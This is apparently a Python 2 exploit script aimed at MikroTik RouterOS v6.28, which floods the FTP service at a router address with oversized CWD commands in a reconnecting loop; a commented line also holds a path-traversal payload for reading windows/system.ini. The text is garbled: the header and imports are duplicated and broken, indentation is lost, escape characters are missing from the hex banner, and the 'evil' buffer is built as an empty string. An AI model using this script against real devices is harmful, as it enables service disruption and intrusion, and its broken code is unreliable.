import time
import socket
from ftplib import FTP
import struct
# mikrotik RouterOS v6.28 FTp CWD command Buffer Overflow
# sultan albalawi
# win7

from subproce import time
import socket
from ftplib import FTP
import struct
# mikrotik RouterOS v6.28 FTp CWD command Buffer Overflow
# sultan albalawi
# win7

from subprocess import *
host='192.168.88.1'
port=21
u = ""#username
p = ""#password

def myB():
myB= 'x0dx0ax20x20x20x20x20x20x20x5cx20x20x20x2dx20x20'
myB+='x2dx20x20x2dx20x3cx73x65x72x76x65x72x3ex20x20x2d'
myB+='x20x5cx2dx2dx2dx3cx20x2dx20x2dx20x20x2dx20x2dx20'
myB+='x20x2dx20x20x2ax0dx0ax20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x2ax2ax2ax0dx0ax20x20x20'
myB+='x20x20x20x20x7cx20x20x20x20x44x6fx63x5fx41x74x74'
myB+='x61x63x6bx20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x2ax2ax2a'
myB+='x2ax2ax0dx0ax20x20x20x20x20x20x20x7cx20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20'
myB+='x20x20x20x76x20x20x20x20x20x20x20x20x60x20x60x2e'
myB+='x20x20x20x20x2cx3bx27x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x2ax2ax2ax2ax41x70x50'
myB+='x2ax2ax2ax2ax0dx0ax20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x60x2ex20x20x2cx27x2fx20x2ex27'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0d'
myB+='x0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x60x2ex20x58x20x2fx2ex27x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x2ax20x20x20x20x20x2ax2ax2a'
myB+='x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20'
myB+='x20x20x20x2ex2dx3bx2dx2dx27x27x2dx2dx2ex5fx60x20'
myB+='x60x20x28x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x2ax2ax2ax20x20x20x20x20x20x20x20x20x20x7cx0d'
myB+='x0ax20x20x20x20x20x2ex27x20x20x20x20x20x20x20x20'
myB+='x20x20x20x2fx20x20x20x20x27x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x2ax2ax2ax2ax2ax20x20x20x20x20x20'
myB+='x20x20x20x7cx20x64x61x74x61x62x61x73x65x0dx0ax20'
myB+='x20x20x20x20x3bx53x65x63x75x72x69x74x79x60x20x20'
myB+='x27x20x30x20x20x30x20x27x20x20x20x20x20x20x20x20'
myB+='x20x2ax2ax2ax4ex45x54x2ax2ax2ax20x20x20x20x20x20'
myB+='x20x7cx0dx0ax20x20x20x20x2cx20x20x20x20x20x20x20'
myB+='x2cx20x20x20x20x27x20x20x7cx20x20x27x20x20x20x20'
myB+='x20x20x20x20x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax20'
myB+='x20x20x20x20x20x20x5ex0dx0ax20x2cx2ex20x7cx20x20'
myB+='x20x20x20x20x20x27x20x20x20x20x20x60x2ex5fx2ex27'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x7c'
myB+='x2dx2dx2dx2dx2dx2dx2dx5ex2dx2dx2dx5ex20x20x20x20'
myB+='x20x20x20x20x20x20x2fx0dx0ax20x3ax20x20x2ex20x60'
myB+='x20x20x3bx20x20x20x60x20x20x60x20x2dx2dx2cx2ex2e'
myB+='x5fx3bx2dx2dx2dx3ex20x20x20x20x20x20x20x20x20x7c'
myB+='x20x20x20x20x20x20x20x27x2ex27x2ex27x5fx5fx5fx5f'
myB+='x5fx5fx5fx5fx20x2ax0dx0ax20x20x27x20x60x20x20x20'
myB+='x20x2cx20x20x20x29x20x20x20x2ex27x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x5ex20'
myB+='x20x20x20x20x20x20x20x7cx5fx7cx20x46x69x72x65x77'
myB+='x61x6cx6cx20x29x0dx0ax20x20x20x20x20x60x2ex5fx20'
myB+='x2cx20x20x27x20x20x20x2fx5fx20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x7cx20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x7cx7cx20x20x20x20'
myB+='x7cx7cx0dx0ax20x20x20x20x20x20x20x20x3bx20x2cx27'
myB+='x27x2dx2cx3bx27x20x60x60x2dx5fx5fx5fx5fx5fx5fx5f'
myB+='x5fx5fx5fx5fx5fx5fx5fx5fx5fx5fx7cx0dx0ax20x20x20'
myB+='x20x20x20x20x20x20x60x60x2dx2ex2ex5fx5fx60x60x2d'
myB+='x2dx60x20x20x20x20x20x20x20x69x70x73x20x20x20x20'
myB+='x20x20x20x2dx20x20x20x20x20x20x20x20x20x20x20x5e'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x2fx0dx0ax20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x2dx20x20x20x20x20x20x20x20x27'
myB+='x2ex20x5fx2dx2dx2dx2dx2dx2dx2dx2dx2dx2ax0dx0ax20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x2dx5fx5fx5fx5fx5fx5fx5fx20'
myB+='x7cx5fx20x20x49x50x53x20x20x20x20x20x29x0dx0ax20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20'
myB+='x20x20x20x20x7cx7cx20x20x20x20x20x7cx7cx0dx0ax20'
myB+=' '
myB+='x41x75x74x68x6fx72x3ax20x53x75x6cx74x61x6ex5fx41x6cx62x61x6cx61x77x69x0dx0ax65x78x70x6cx6fx69x74x20x3ax20x68x74x74x70x73x3ax2fx2fx77x77x77x2ex65x78x70x6cx6fx69x74x2dx64x62x2ex63x6fx6dx2fx61x75x74x68x6fx72x2fx3fx61x3dx38x37x34x31 '
myB+='x68x74x74x70x73x3ax2fx2fx77x77x77x2ex66x61x63x65x62x6fx6fx6bx2ex63x6fx6dx2fx70x65x6ex74x65x73x74x33 '
myB+="x61x6cx62x61x6cx61x77x69x34x70x65x6ex74x65x73x74x40x67x6dx61x69x6cx2ex63x6fx6d"
print myB
myB()
try:
pause=3
command=["GET ",
"ABOR ",
"ACCT ",
"ALLO ",
"ABOR ",
"APPE ",
"CDUP ",
"CWD ",
"DELE ",
"HELP ",
"LIST ",
"MDTM ",
"MKD ",
"MODE ",
"NLST ",
"NOOP ",
"PASS ",
"PASV ",
"PORT ",
"PWD ",
"QUIT ",
"REIN ",
"REST ",
"RETR ",
"RMD ",
"RNFR ",
"RNTO ",
"SITE ",
"SIZE ",
"STAT ",
"STOR ",
"STOU ",
"STRU ",
"SYST ",
"TYPE ",
"USER ",
"XCWD ",
"XPWD ",
"XCUP ",
"CDUP ",
"XMKD ",
"XRMD ",
"STOU ",]
print len(command)
m=5000
for i, val in enumerate(command):
for dd in range(m):
#evil="//../"*260+'windows/system.ini'
evil = ""*50000
evilTYPE= (command[7]+evil)

print i, command[7],
'''
evilTYPE1= (command[7]+evil)
evilTYPE2= (command[8]+evil)
evilTYPE3= (command[33]+evil)
evilTYPE4= (command[13]+evil)
evilTYPE5= (command[16]+evil)
evilTYPE6= (command[18]+evil)
evilTYPE7= (command[21]+evil)
evilTYPE8= (command[10]+evil)
evilTYPE9= (command[31]+evil)
evilTYPE10= (command[14]+evil)
evilTYPE11= (command[10]+evil)
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()
while True:
ftp = FTP()
ftp.connect(host,port)
ftp.login(u,p)
for i, val in enumerate(command):
ftp.sendcmd(evilTYPE)
ftp.sendcmd(evilTYPE)

'''
ftp.sendcmd(evilTYPE1)
ftp.sendcmd(evilTYPE2)
ftp.sendcmd(evilTYPE3)
ftp.sendcmd(evilTYPE4)
ftp.sendcmd(evilTYPE5)
ftp.sendcmd(evilTYPE6)
ftp.sendcmd(evilTYPE7)
ftp.sendcmd(evilTYPE8)
ftp.sendcmd(evilTYPE9)
ftp.sendcmd(evilTYPE10)
ftp.sendcmd(evilTYPE11)
'''
print ftp.sendcmd(evilTYPE)
#ftp.delete(ftp.sendcmd(evilTYPE))



ftp.close()
time.sleep(pause)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
open = sock.connect_ex((host,port))
sock.close()
except Exception, msg:
print msg,"host"